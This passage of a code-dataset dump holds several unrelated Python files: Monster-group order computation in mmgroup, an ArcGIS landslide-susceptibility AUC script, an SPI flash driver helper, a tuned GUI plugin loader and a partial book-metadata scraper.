np.uint32)\n TAG_SIGN = np.array(order_vector_data.TAG_SIGN, dtype = np.uint32) \n WATERMARK_PERM = np.zeros(24, dtype = np.uint32)\n ok = leech3matrix_watermark(15, OV, WATERMARK_PERM)\n assert ok >= 0\n\n SOLVE_YT = np.zeros(11, dtype = np.uint64)\n assert len(TAGS_Y) == 11\n nrows = 0\n for y in TAGS_Y:\n eqn = map_y(y)\n nrows += leech2matrix_add_eqn(SOLVE_YT, nrows, 11, eqn)\n #print(i, hex(y), hex(eqn), nrows)\n assert nrows == 11, nrows\n SOLVE_Y = list(bitmatrix64_t(SOLVE_YT, 11))\n assert len(SOLVE_Y) == 11\n assert mm_aux_mmv_extract_sparse_signs(15, OV, TAGS_Y, 11) == 0\n \n SOLVE_XT = np.zeros(24, dtype = np.uint64)\n assert len(TAGS_X) == 24\n nrows = 0\n for i, x in enumerate(TAGS_X):\n eqn = map_x(x) \n nrows += leech2matrix_add_eqn(SOLVE_XT, nrows, 24, eqn)\n #print(\"SOLVE_XT\", i, hex(x), hex(eqn), nrows)\n assert nrows == 24, nrows\n SOLVE_X = list(bitmatrix64_t(SOLVE_XT, 24))\n \n # Concatenate computed lists to the global numpy array 'ORDER_TAGS'\n ORDER_TAGS = np.array(sum(map(list, [\n [leech_matrix_norm_A(15, OV), order_vector_data.DIAG_VA], \n WATERMARK_PERM, TAGS_Y, SOLVE_Y, TAGS_X, SOLVE_X, [TAG_SIGN] \n ]), []), dtype = np.uint32)\n assert len(ORDER_TAGS) == 97, len(ORDER_TAGS)\n t0 = mm_aux_mmv_extract_sparse_signs(\n 15, OV, ORDER_TAGS[OFS_TAGS_X:], 24)\n assert t0 == 0\n\n\ndef get_order_vector(recompute = False, verbose = 0):\n if not recompute and ORDER_VECTOR is not None:\n return ORDER_VECTOR\n compute_order_vector(recompute, verbose)\n return ORDER_VECTOR\n\n\n\n###########################################################################\n# Check equality of two elements of the monster\n###########################################################################\n \n\ndef check_mm_equal(g1, g2, mode = 0):\n \"\"\"Return ``g1 == g2`` for elements ``g1, g2`` of the monster.\n\n If ``mode == 0`` (default) we first try to check equality inside \n in the subgroup ``N_0`` of the monster, which may be considerbly \n faster. \n\n If ``mode != 0`` or this is not possible we check if \n ``v * g1 * g2**(-1) == v`` holds for the *ORDER_VECTOR* ``v``. \n\n We just check the data in ``g1`` and ``g2``, ingnoring\n ``g1.group`` and ``g2.group``.\n \"\"\"\n assert isinstance(g1, (MM, MM0))\n assert isinstance(g2, (MM, MM0))\n g3 = np.zeros(2 * (g1.length + g2.length) + 1, dtype = np.uint32)\n status = mm_group_words_equ(g1._data, g1.length,\n g2._data, g2.length, g3)\n if status < 2:\n return not status\n\n v = get_order_vector().data\n w = mm_vector(15)\n work = mm_vector(15)\n mm_op15_copy(v, w)\n mm_op15_word(w, g3, status - 2, 1, work)\n return not mm_op15_compare(v, w)\n\n\n\n###########################################################################\n# Computing the order of an element of the monster\n###########################################################################\n\n\ndef check_mm_order_old(g, max_order = 119, mode = 0):\n \"\"\"Return order of monster group element ``g``.\n\n if ``order(g) < max_order`` return ``order(g)``; else return ``0``.\n\n If mode is ``0`` (default) we first check if ``g`` is in the \n subgroup ``N_0 of`` the monster. If this is the case the we check \n the order of ``g`` by calculating in ``N_0``.\n\n Othewise we compute the minimum ``i`` such that\n ``v * g**i == v`` for the *order vector* ``v`. \n \"\"\"\n assert isinstance(g, (MM0, MM))\n g.reduce()\n if mode == 0:\n n0 = np.zeros(5, dtype = np.uint32)\n status = mm_group_check_word_n(g._data, g.length, n0)\n if status == 0:\n return 1\n if status == 1:\n n1 = np.copy(n0)\n for i in range(2, max_order+1):\n mm_group_n_mul_element(n1, n0, n1)\n if not mm_group_n_reduce_element(n1):\n return i\n return 0\n\n v = get_order_vector().data\n w = mm_vector(15)\n work = mm_vector(15)\n mm_op15_copy(v, w)\n for i in range(1, max_order+1):\n mm_op15_word(w, g._data, g.length, 1, work)\n if not mm_op15_compare(v, w):\n return i\n return 0\n\n\n\n\ndef check_mm_order(g, max_order = 119):\n \"\"\"Return order of monster group element ``g``.\n\n ``g`` must be an instance of class ``MM``. The function\n returns the order of ``g`` if ``max_order`` is set to its default\n value. \n\n Computing the order of an element of the monster is time consuming; \n and in some cases we are interested in small orders only. \n If ``max_order``is given then the function may return 0 if the\n order of ``g`` is greater than ``max_order``.\n \"\"\"\n assert isinstance(g, (MM0, MM))\n g.reduce()\n v = get_order_vector().data\n o = mm_op15_order(g._data, g.length, ORDER_TAGS, v, max_order)\n return chk_qstate12(o)\n\ndef check_mm_half_order(g, max_order = 119):\n \"\"\"Return (halved) order of monster group element ``g``.\n\n ``g`` must be an instance of class ``MM``. The function\n returns a pair ``(o, h)`` where ``o`` is the order of ``g``, and\n ``h = g**(o/2)`` for an even ``o``. We put ``h = None`` if\n ``o`` is odd.\n\n Parameter ``max_order`` is as in function ``check_mm_order``. \n\n If ``h`` is in the subgroup :math:`G_{x0}`` then ``h`` is \n returned as a word in the generators of that subgroup.\n \"\"\"\n assert isinstance(g, (MM0, MM))\n g.reduce()\n h = np.zeros(10, dtype = np.uint32)\n v = get_order_vector().data\n o1 = mm_op15_order_Gx0(g._data, g.length, ORDER_TAGS, v, h, max_order)\n chk_qstate12(o1)\n if o1 == 0:\n return 0, None\n h = h[:o1 & 0xff]\n o1 >>= 8\n h2 = np.zeros(10, dtype = np.uint32)\n o2 = xsp2co1_half_order_word(h, len(h), h2)\n h2 = h2[:o2 & 0xff]\n o2 >>= 8\n o = o1 * o2\n if (o2 & 1) == 0:\n return o, g.group('a', h2).reduce()\n if (o & 1):\n return o, None\n if o2 == 1:\n return o, g ** (o1 >> 1)\n # compute q, r, such that the result is (g**o1)**q * g**r\n q, r = divmod(o >> 1, o1) \n w = g.group('a', h)\n return o, (w**q * g**r).reduce()\n\n###########################################################################\n# Check if an element of the monster is in the subgroup G_x0\n###########################################################################\n \n\n\n\n\ndef check_mm_in_g_x0(g):\n \"\"\"Check if ``g`` is in the subgroup ``G_x0`` of the monster\n \n If ``g`` is in the subgroup ``G_x0`` of the monster then the\n function changes the word representing ``g`` to a (uniquely \n defined) word in the generators of the subgroup ``G_x0`` and\n returns ``g``. \n \n Otherwise the function does not change ``g`` and returns ``None``.\n \n ``g`` must be an instance of class \n ``mmgroup.mm_group.MM``.\n \"\"\"\n g1 = np.zeros(10, dtype = np.uint32)\n v = get_order_vector().data\n res = chk_qstate12(mm_op15_order_Gx0(g._data, g.length, \n ORDER_TAGS, v, g1, 1))\n #print(\"RES\", hex(res))\n if ((res >> 8) != 1):\n return None \n length = res & 0xff\n assert length <= 10\n g._extend(10)\n g._data[:length] = g1[:length]\n g.length = length\n g.reduced = 0\n g.reduce()\n return g\n\n\n###########################################################################\n# Fast reduction of an element of the monster \n###########################################################################\n\n\nreduce_mm_time = None\n\ndef reduce_mm(g, check = True):\n \"\"\"The fastest reduction procedure for a monster element ``g``\"\"\"\n global reduce_mm_time\n v = get_order_vector().data\n g1 = np.zeros(256, dtype = np.uint32)\n t_start = time.perf_counter() \n res = mm_op15_reduce_M(g._data, g.length, ORDER_TAGS, v, g1)\n reduce_mm_time = time.perf_counter() - t_start\n if (res < 0):\n err = \"Reduction of element of monster failed\"\n raise ValueError(err)\n length = res\n if check:\n w = mm_vector(15)\n work = mm_vector(15)\n mm_op15_copy(v, w)\n mm_op15_word(w, g._data, len(g), 1, work)\n mm_op15_word(w, g1, length, -1, work)\n assert not mm_op15_compare(v, w)\n \n g._extend(length)\n g._data[:length] = g1[:length]\n g.length = length\n g.reduced = 0\n g.reduce()\n return g\n\n\n###########################################################################\n# Main program (for testing)\n###########################################################################\n\n\nif __name__ == \"__main__\":\n get_order_vector(recompute = 0, verbose = 1)\n assert isinstance(g, (MM0,MM))\n \n\n\n","sub_path":"src/mmgroup/mm_order.py","file_name":"mm_order.py","file_ext":"py","file_size_in_byte":13479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"596271148","text":"# -*- coding: cp1254 -*-\n#This script Create Landslide Susceptibility Map (LSM) with Information Value method\n#and calculates Performance of Model with AUC Method\n#Test and Train data required. These data were calaculated with DATA PREPARATION \n#Script. They are in Rec_folder.So rec_folder must be same as DATA PREPARATION script's\n#Ali POLAT (2018)\n\n#////////////////////IMPORTING THE REQUIRED LIBRARIES/////////////////////////\nimport os,sys\nfrom matplotlib import pyplot as plt\nimport arcpy\nfrom arcpy.sa import *\n\narcpy.env.overwriteOutput = True\n#////////////////////////////Getting Input Parameters//////////////////////////\nrec=arcpy.GetParameterAsText(0)##reclassified data folder(parameters)\nsf=arcpy.GetParameterAsText(1)#save folder\nkoordinat=arcpy.GetParameterAsText(2)#Coordinate system of map\ncell_size=arcpy.GetParameterAsText(3)#Cell size of raster\n#/////////////////////////Starting analysis////////////////////////////////////\narcpy.env.workspace=rec\nos.chdir(rec)\narcpy.AddMessage(\"Starting Information Value Analysis...\")\nos.chdir(rec)\nduy_lst=arcpy.ListDatasets(\"iv*\",\"Raster\")\nsus_map=arcpy.sa.CellStatistics(duy_lst,\"SUM\",\"DATA\")\nsus_map_name=os.path.join(sf,str(\"iv_sus\"))\nsus_map.save(sus_map_name)\n#///Analysis finished anad LSM is saving to sf folder as iv_sus raster file////\narcpy.AddMessage(\"Analysis finished\")\narcpy.AddMessage(\"Susceptibility Map was created in {} folder as iv_sus raster file\".format(sf))\n\n#//////////////////////////CALCULATING PERFORMANCE/////////////////////////////\narcpy.AddMessage(\"ROC calculation is starting.....\")\nmx=float (arcpy.GetRasterProperties_management (sus_map, \"MAXIMUM\").getOutput (0))\nmn=float (arcpy.GetRasterProperties_management (sus_map, \"MINIMUM\").getOutput (0))\n\ne=(float(mx)-float(mn))/100\n\nd=[]\nx=0\ny=0\nz=0\nfor f in range (100): \n x=x+1\n y=mn+e\n z=z+mn\n q=[]\n q.append(z)\n q.append(y)\n q.append(x)\n d.append(q)\n mn=y\n z=0\n\ntotal=Reclassify(sus_map,\"VALUE\",RemapRange(d),\"NODATA\")\ntotal_exp=\"total.tif\"\ntotal.save(total_exp)\n\ntrn=ExtractByMask(total,\"train_1.shp\")\ntrain_exp=\"train.tif\"\ntrn.save(train_exp)\n\ntes=ExtractByMask(total,\"test_1.shp\")\ntest_exp=\"test.tif\"\ntes.save(test_exp)\n##.............................................\narcpy.AddField_management(total_exp,\"total\",\"DOUBLE\")\narcpy.AddField_management(total_exp,\"NID\",\"LONG\")\n\nblock=\"\"\"rec=0\ndef yaz():\n global rec\n pstart=1\n pinterval=1\n if(rec==0):\n rec=pstart\n else:\n rec+=pinterval\n return rec\"\"\"\nexpression=\"yaz()\"\narcpy.CalculateField_management(total_exp,\"NID\",expression,\"PYTHON\",block)\nlst_nid=list()\n\nwith arcpy.da.SearchCursor(total_exp,\"NID\") as dd:\n for row in dd:\n lst_nid.append(row[0])\n \n del row\n \n del dd\n\nmx=max(lst_nid)\ncrs=arcpy.da.InsertCursor(total_exp,[\"NID\"])\nfor i in range(mx+1,101):\n crs.insertRow(\"0\")\narcpy.CalculateField_management(total_exp,\"NID\",expression,\"PYTHON\",block)\nlst_value=[]\nlst_count=[]\nlst_nc=[]\nlst_nid_2=[]\nsc_fields=\"value\",\"count\",\"total\",\"NID\"\nwith arcpy.da.SearchCursor(total_exp,sc_fields) as scur:\n for row in scur:\n lst_value.append(row[0])\n lst_count.append(row[1])\n lst_nc.append(row[2])\n lst_nid_2.append(row[3]) \n del row\n\nfor i in range(len(lst_nid_2)):\n if lst_value[i]!=i+1:\n lst_value.insert(i,0)\n \n\n\nh=0\nfor k in range (len(lst_nid_2)): \n if lst_value[k]!=lst_nid_2[k]:\n d=lst_count.insert(lst_nid_2[k]-1,0) \nwith arcpy.da.UpdateCursor(total_exp,\"total\") as ucur:\n for row in ucur:\n row[0]=lst_count[h]\n ucur.updateRow(row)\n h=h+1\n del row\n##...........................................................................\narcpy.AddField_management(train_exp,\"train\",\"DOUBLE\")\narcpy.AddField_management(train_exp,\"NID\",\"LONG\")\n\nblock=\"\"\"rec=0\ndef yaz():\n global rec\n pstart=1\n pinterval=1\n if(rec==0):\n rec=pstart\n else:\n rec+=pinterval\n return rec\"\"\"\nexpression=\"yaz()\"\narcpy.CalculateField_management(train_exp,\"NID\",expression,\"PYTHON\",block)\nlst_nid=list()\n\nwith arcpy.da.SearchCursor(train_exp,\"NID\") as dd:\n for row in dd:\n lst_nid.append(row[0])\n del row\n del dd\nmx=max(lst_nid)\ncrs=arcpy.da.InsertCursor(train_exp,[\"NID\"])\nfor i in range(mx+1,101):\n crs.insertRow(\"0\")\narcpy.CalculateField_management(train_exp,\"NID\",expression,\"PYTHON\",block)\nlst_value=[]\nlst_count=[]\nlst_nc=[]\nlst_nid_2=[]\nsc_fields=\"value\",\"count\",\"train\",\"NID\"\nwith arcpy.da.SearchCursor(train_exp,sc_fields) as scur:\n for row in scur:\n lst_value.append(row[0])\n lst_count.append(row[1])\n lst_nc.append(row[2])\n lst_nid_2.append(row[3]) \n del row\n\nfor i in range(len(lst_nid_2)):\n if lst_value[i]!=i+1:\n lst_value.insert(i,0)\n\nh=0\nfor k in range (len(lst_nid_2)):\n \n if lst_value[k]!=lst_nid_2[k]:\n \n d=lst_count.insert(lst_nid_2[k]-1,0) \n\nwith arcpy.da.UpdateCursor(train_exp,\"train\") as ucur:\n for row in ucur:\n row[0]=lst_count[h]\n ucur.updateRow(row)\n h=h+1\n del row\n##...........................................................\narcpy.AddField_management(test_exp,\"test\",\"DOUBLE\")\narcpy.AddField_management(test_exp,\"NID\",\"LONG\")\n\nblock=\"\"\"rec=0\ndef yaz():\n global rec\n pstart=1\n pinterval=1\n if(rec==0):\n rec=pstart\n else:\n rec+=pinterval\n return rec\"\"\"\nexpression=\"yaz()\"\narcpy.CalculateField_management(test_exp,\"NID\",expression,\"PYTHON\",block)\nlst_nid=list()\n\nwith arcpy.da.SearchCursor(test_exp,\"NID\") as dd:\n for row in dd:\n lst_nid.append(row[0])\n \n del row\n \n del dd\n\nmx=max(lst_nid)\ncrs=arcpy.da.InsertCursor(test_exp,[\"NID\"])\nfor i in range(mx+1,101):\n crs.insertRow(\"0\")\narcpy.CalculateField_management(test_exp,\"NID\",expression,\"PYTHON\",block)\nlst_value=[]\nlst_count=[]\nlst_nc=[]\nlst_nid_2=[]\nsc_fields=\"value\",\"count\",\"test\",\"NID\"\nwith arcpy.da.SearchCursor(test_exp,sc_fields) as scur:\n for row in scur:\n lst_value.append(row[0])\n lst_count.append(row[1])\n lst_nc.append(row[2])\n lst_nid_2.append(row[3]) \n del row\n\nfor i in range(len(lst_nid_2)):\n if lst_value[i]!=i+1:\n lst_value.insert(i,0)\n \n\n\nh=0\nfor k in range (len(lst_nid_2)):\n \n if lst_value[k]!=lst_nid_2[k]:\n \n d=lst_count.insert(lst_nid_2[k]-1,0)\n \n\n\nwith arcpy.da.UpdateCursor(test_exp,\"test\") as ucur:\n for row in ucur:\n row[0]=lst_count[h]\n ucur.updateRow(row)\n h=h+1\n del row\n##..........................................................................\n\n\narcpy.JoinField_management(total_exp,\"NID\",train_exp,\"NID\",\"train\")\narcpy.JoinField_management(total_exp,\"NID\",test_exp,\"NID\",\"test\")\n##/////////////////////////Calculataing sum of Cumulative//////////////////////\n\narcpy.AddField_management(total_exp,\"kum_total\",\"DOUBLE\")\narcpy.AddField_management(total_exp,\"kum_train\",\"DOUBLE\")\narcpy.AddField_management(total_exp,\"kum_test\",\"DOUBLE\")\n\nblock2=\"\"\"rec=0\ndef kum_tot(r):\n global rec\n pstart=r\n pinterval=r\n if(rec==0):\n rec=pstart\n else:\n rec+=pinterval\n return rec\"\"\"\nexpression2=\"kum_tot(!total!)\"\narcpy.CalculateField_management(total_exp,\"kum_total\",expression2,\"PYTHON\",block2)\narcpy.CalculateField_management(total_exp,\"kum_train\",\"kum_tot(!train!)\",\"PYTHON\",block2)\narcpy.CalculateField_management(total_exp,\"kum_test\",\"kum_tot(!test!)\",\"PYTHON\",block2)\ntot_fields=\"kum_total\",\"kum_train\",\"kum_test\"\nlst_tot=[]\nlst_tr=[]\nlst_tst=[]\nwith arcpy.da.SearchCursor(total_exp,tot_fields) as scur2:\n for row in scur2:\n lst_tot.append(row[0])\n lst_tr.append(row[1])\n lst_tst.append(row[2])\n del row\n del scur2\n\ntoplam_tot=max(lst_tot)\ntoplam_tr=max(lst_tr)\ntoplam_tst=max(lst_tst)\n\n##......................................................................\narcpy.AddField_management(total_exp,\"c_tot\",\"DOUBLE\")\narcpy.AddField_management(total_exp,\"c_tr\",\"DOUBLE\")\narcpy.AddField_management(total_exp,\"c_tst\",\"DOUBLE\")\nc=\"kum_total\",\"kum_train\",\"kum_test\",\"c_tot\",\"c_tr\",\"c_tst\"\nwith arcpy.da.UpdateCursor(total_exp,c) as ucur2:\n for row in ucur2:\n v=row[0]/toplam_tot\n k=row[1]/toplam_tr\n l=row[2]/toplam_tst\n row[3]=1-v\n row[4]=1-k\n row[5]=1-l\n ucur2.updateRow(row)\ny=\"c_tot\",\"c_tr\",\"c_tst\"\ntot=[]\ntr=[]\nts=[]\nwith arcpy.da.SearchCursor(total_exp,y) as scur2:\n for row in scur2:\n tot.append(row[0])\n tr.append(row[1])\n ts.append(row[2])\n del row\n del scur2\n\ntot.insert(0,1)\ntr.insert(0,1)\nts.insert(0,1)\n\ntr_son=[]\nts_son=[]\nfor i in range(100):\n b=tot[i]-tot[i+1]\n n=tr[i]\n m=ts[i]\n p=b*n\n t=b*m\n tr_son.append(p)\n ts_son.append(t)\nf=round(sum(tr_son)*100,2)\ng=round(sum(ts_son)*100,2)\n#///////////////////////////////AUC graph is plotting//////////////////////////\narcpy.AddMessage(\"Success rate is: {}\".format(sum(tr_son)*100))\narcpy.AddMessage(\"prediction rate is: {}\".format(sum(ts_son)*100))\nsc=plt.plot(tot,tr,color=\"red\",label=\":Success Rate\"+\"(\"+str(f)+\")\")\n\npr=plt.plot(tot,ts,color=\"blue\",label=\":Prediction Rate\"+\"(\"+str(g)+\")\")\n\nplt.xlabel(\"1-Specifity\")\nplt.ylabel(\"Sensitivity\")\nplt.legend(loc=\"lower right\")\narcpy.AddMessage(\"AUC Graph is saved as auc_iv.png\")\nauc_graph=os.path.join(sf,\"auc_iv.png\")\nplt.savefig(auc_graph,dpi=150)\nplt.close(\"all\")\n\narcpy.ClearWorkspaceCache_management() \narcpy.AddMessage(\"FINISHED\")\n#////////////////////FINISHED//////////////////////////////////////////////////","sub_path":"information_value.py","file_name":"information_value.py","file_ext":"py","file_size_in_byte":9753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"536321733","text":"from etc_spi_lib \t\t\timport MPSSE_SPI\nfrom etc_spi_lib.etc_spi \timport *\nimport time\n\ndef Page_Write_Enable():\n\tdataToSend='06'\n\tdataLen='0000'\n\tdev.SPI_Write(dataLen,dataToSend)\n\t\ndef Page_Write_Disable():\n\tdataToSend='04'\n\tdataLen='0000'\n\tdev.SPI_Write(dataLen,dataToSend)\t\n\t\ndef Page_Write(addr,data):\n\tdataToSend='02'\n\tdataToSend+=addr\n\tdataToSend+=data\n\tdataLen=hex(len(dataToSend)/2 - 1)[2:]\n\twhile len(dataLen) < 4:\n\t\tdataLen = '0' + dataLen\n\tdev.SPI_Write(dataLen,dataToSend)\n\t\n\t\ndef Page_Read(addr):\n\tdataRBuff=[]\n\tdataToSend='03'\n\tdataToSend+= addr\n\tdataLen=hex(len(dataToSend)/2 - 1)[2:]\n\twhile len(dataLen) < 4:\n\t\tdataLen = '0' + dataLen\n\tdev.SPI_RWrite(dataLen,dataToSend)\t\n\tdataRBuff+=dev.SPI_Read('000F')\n\treturn dataRBuff\n\t\ndef Read_Status_Reg():\n\tdataRBuff=[]\n\tdataToSend='05'\n\tdataLen='0000'\n\tdev.SPI_RWrite(dataLen,dataToSend)\n\tdataRBuff+=dev.SPI_Read('0001')\n\treturn dataRBuff\n\ndef Read_Identification():\n\tdataRBuff=[]\n\tdataToSend='9F'\t\t\t\t\t\t\t\t#Read Command\n\tdataLen='0000'\n\tdev.SPI_Write(dataLen,dataToSend)\n\tdataRBuff+=dev.SPI_Read('000F')\n\treturn dataRBuff\t\n\t\nspi_clk=300\nbaudrate=BaudRate(spi_clk)\t\ndev=MPSSE_SPI(0)\n'''\ndev.DevConf(baudrate)\ntime.sleep(0.1)\ndataRead = Read_Identification()\nprint dataRead\n\n\nWaddr='000100'\nWdata='0102030405060708'\nPage_Write_Enable()\nPage_Write(Waddr,Wdata)\ndataRead=Read_Status_Reg()\nprint dataRead\ndataRead=Page_Read(Waddr)\n\n\n\ntime.sleep(0.1)\nPage_Write_Disable()\ndataRead=Page_Read(Waddr)\nprint dataRead\ndataRead=Read_Identification()\nfor i in range(len(dataRead)):\n\tprint dataRead[i].encode('hex')\n#dataRead=Read_Status_Reg()\n#print dataRead\nWaddr='000100'\nWdata='0102030405060708'\nPage_Write_Enable()\nPage_Write(Waddr,Wdata)\ntime.sleep(0.1)\nPage_Write_Disable()\ndataRead=Page_Read(Waddr)\nprint dataRead\n'''","sub_path":"Archived_Files/FTDI_Python_Libraries - SPI_MDIO_I2C/etc_spi_flash.py","file_name":"etc_spi_flash.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"290390255","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2008-2014 Red Hat, Inc.\n# Authors: Marek Staňa, Jaroslav Škarvada \n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n\n'''\nCreated on Mar 30, 2014\n\n@author: mstana\n'''\n\nimport importlib\nfrom validate import Validator\n\nimport tuned.consts as consts\nimport tuned.logs\n\nimport configobj as ConfigObj\nfrom tuned.exceptions import TunedException\n\nfrom tuned.admin.dbus_controller import DBusController\n\n__all__ = ['GuiPluginLoader']\n\nglobal_config_spec = ['dynamic_tuning = boolean(default=%s)'\n % consts.CFG_DEF_DYNAMIC_TUNING,\n 'sleep_interval = integer(default=%s)'\n % consts.CFG_DEF_SLEEP_INTERVAL,\n 'update_interval = integer(default=%s)'\n % consts.CFG_DEF_UPDATE_INTERVAL]\n\n\nclass GuiPluginLoader():\n\n '''\n Class for scan, import and load actual avaible plugins.\n '''\n\n def __init__(self):\n '''\n Constructor\n '''\n\n self._plugins = {}\n self.plugins_doc = {}\n self._prefix = 'plugin_'\n self._sufix = '.py'\n self._dbus_controller = DBusController(consts.DBUS_BUS,\n\t\t\tconsts.DBUS_INTERFACE, consts.DBUS_OBJECT\n )\n self._get_plugins()\n\n @property\n def plugins(self):\n return self._plugins\n\n def _get_plugins(self):\n self._plugins = self._dbus_controller.get_plugins()\n\n def get_plugin_doc(self, plugin_name):\n return self._dbus_controller.get_plugin_documentation(plugin_name)\n\n def get_plugin_hints(self, plugin_name):\n return self._dbus_controller.get_plugin_hints(plugin_name)\n\n def _load_global_config(self, file_name=consts.GLOBAL_CONFIG_FILE):\n \"\"\"\n Loads global configuration file.\n \"\"\"\n\n try:\n config = ConfigObj.ConfigObj(file_name,\n configspec=global_config_spec,\n raise_errors = True, file_error = True, list_values = False, interpolation = False)\n except IOError as e:\n raise TunedException(\"Global tuned configuration file '%s' not found.\"\n % file_name)\n except ConfigObj.ConfigObjError as e:\n raise TunedException(\"Error parsing global tuned configuration file '%s'.\"\n % file_name)\n vdt = Validator()\n if not config.validate(vdt, copy=True):\n raise TunedException(\"Global tuned configuration file '%s' is not valid.\"\n % file_name)\n return config\n\n\n","sub_path":"assets/tuned/daemon/tuned/gtk/gui_plugin_loader.py","file_name":"gui_plugin_loader.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"431618592","text":"import json\nimport io\nfrom lxml import etree\nimport requests\nfrom urllib.parse import urlparse, parse_qs\nfrom PIL import Image\nimport mechanize\nimport re\n\nimport os\nfolder = os.path.dirname(os.path.abspath(__file__))\nos.path.join(folder, 'parsers.json')\n\nclass site_book_data():\n def __init__(self,content):\n self.content = content\n \n self.book_dictionary = { \n 'format' : None, \n 'book_title' : None, \n 'book_image' : None,\n 'book_image_url' : None,\n 'isbn_13' : None, \n 'description' : None, \n 'series' : None, \n 'volume_number' : None, \n 'subtitle' : None, \n 'authors' : None, \n 'book_id' : None,\n 'site_slug' : None,\n 'parse_status' : \"Fully Parsed\",\n 'url' : None,\n 'content' : self.content,\n 'ready_for_sale' : None,\n 'extra' : None,\n }\n\n def parse_GB(self, parser, url):\n temp_parse = etree.HTMLParser(remove_pis=True)\n tree=etree.parse(io.BytesIO(self.content),temp_parse)\n root=tree.getroot()\n\n parsed = root.xpath(parser[\"book_title\"])\n if len(parsed) != 0:\n self.book_dictionary[\"book_title\"] = parsed[0].text\n\n parsed = root.xpath(parser[\"isbn_13\"])\n if len(parsed) != 0:\n isbn = str.split(parsed[0].text, ', ')\n self.book_dictionary[\"isbn_13\"] = isbn[1]\n\n parsed = root.xpath(parser[\"book_image_url\"])\n if len(parsed) != 0:\n self.book_dictionary[\"book_image_url\"] = parsed[0]\n response = requests.get(parsed[0], stream=True).raw\n self.book_dictionary[\"book_image\"] = Image.open(response)\n \n\n parsed = root.xpath(parser[\"description\"])\n if len(parsed) != 0:\n self.book_dictionary[\"description\"] = parsed[0]\n else:\n parsed = root.xpath(\".//div[@id='synopsistext']/text()\")\n if len(parsed) != 0:\n self.book_dictionary[\"description\"] = parsed[0]\n\n parsed = root.xpath(parser[\"authors\"])\n authors = list()\n if len(parsed) != 0:\n for author in parsed:\n authors.append(author.text)\n self.book_dictionary[\"authors\"] = authors\n\n self.book_dictionary[\"site_slug\"] = \"GB\"\n self.book_dictionary[\"url\"] = url\n\n parsed = urlparse(url)\n query = parse_qs(parsed.query)\n self.book_dictionary[\"book_id\"] = query[\"id\"][0]\n\n parsed = root.xpath(parser[\"ready_for_sale\"])\n if len(parsed) != 0:\n if parsed[0] == 'No eBook available':\n self.book_dictionary[\"ready_for_sale\"] = False\n self.book_dictionary[\"format\"] = \"Print\"\n else:\n self.book_dictionary[\"ready_for_sale\"] = True\n self.book_dictionary[\"format\"] = \"eBook\"\n\n return self \n\n def parse_LC(self, parser, url):\n \"\"\"Parsing function for Livraria Cultura eBook store. Given a parser JSON\n object and the url of the book to be parsed, will return a parsed site book data object\"\"\"\n temp_parse=etree.HTMLParser(remove_pis=True)\n tree=etree.parse(io.BytesIO(self.content),temp_parse)\n root=tree.getroot()\n\n #tries to parse all information from given book url\n try:\n self.book_dictionary[\"format\"] = \"ebook\"\n\n parsed = root.xpath(parser[\"book_title\"])\n if len(parsed) != 0:\n self.book_dictionary[\"book_title\"] = parsed[0]\n\n parsed = root.xpath(parser[\"book_image\"])\n if len(parsed) != 0:\n self.book_dictionary[\"book_image_url\"] = parsed[0]\n resp = requests.get(parsed[0], stream=True).raw\n self.book_dictionary[\"book_image\"] = Image.open(resp) \n\n parsed = root.xpath(parser[\"isbn_13\"])\n if len(parsed) != 0:\n self.book_dictionary[\"isbn_13\"] = parsed[0]\n\n parsed = root.xpath(parser[\"description\"])\n if len(parsed) != 0:\n self.book_dictionary[\"description\"] = parsed[0]\n\n self.book_dictionary[\"book_id\"] = self.parse_id_from_url(url, 36, len(url)-2)\n\n parsed = root.xpath(parser[\"authors\"])\n if len(parsed) != 0:\n authors = parsed[0].split(\"|\")\n parsedAuthors = []\n for author in authors:\n parsedAuthors.append(author[6:len(author)-1])\n \n self.book_dictionary[\"authors\"] = parsedAuthors\n\n parsed = root.xpath(parser[\"ready_for_sale\"])\n if len(parsed) != 0:\n self.book_dictionary[\"ready_for_sale\"] = True\n else:\n self.book_dictionary[\"ready_for_sale\"] = False\n\n self.book_dictionary[\"site_slug\"] = \"LC\"\n self.book_dictionary[\"url\"] = parser[\"site_url\"]\n self.book_dictionary[\"parse_status\"] = \"Success\"\n except:\n # if failed, the site book data object will be given a parsed value of \"Failed\"\n self.book_dictionary[\"parse_status\"] = \"Failed\"\n \n return self\n\n def parse_SD(self, parser, url):\n self.book_dictionary[\"site_slug\"] = \"SD\"\n self.book_dictionary[\"url\"] = url\n temp_parse = etree.HTMLParser(remove_pis=True)\n tree=etree.parse(io.BytesIO(self.content),temp_parse)\n root=tree.getroot()\n for key in parser:\n try:\n if(parser[key] == \"!Not_Reachable\" or key == \"site_url\"):\n pass\n #not parsable/readable content\n elif(key == \"format\"):\n parsed = root.xpath(parser[key])\n self.book_dictionary[key] = parsed[-1].text\n elif(key == \"description\" or key == \"book_image_url\"):\n parsed = root.xpath(parser[key])\n self.book_dictionary[key] = parsed[0]\n elif(key == \"book_image\"):\n resp = requests.get(self.book_dictionary[\"book_image_url\"], stream=True).raw\n self.book_dictionary[key] = Image.open(resp)\n elif(key == \"book_id\"):\n myUrl = urlparse(url)\n self.book_dictionary[key] = self.parse_id_from_url(myUrl.path, (myUrl.path.find(\"k\")+2), myUrl.path.rfind(\"/\"))\n #parse url for bookID\n elif(key == \"extra\"):\n self.book_dictionary[key] = parser[key]\n #call any functions for additionaly queries here\n else:\n parsed = root.xpath(parser[key])\n p = []\n for elem in parsed:\n p.append(elem.text)\n self.book_dictionary[key] 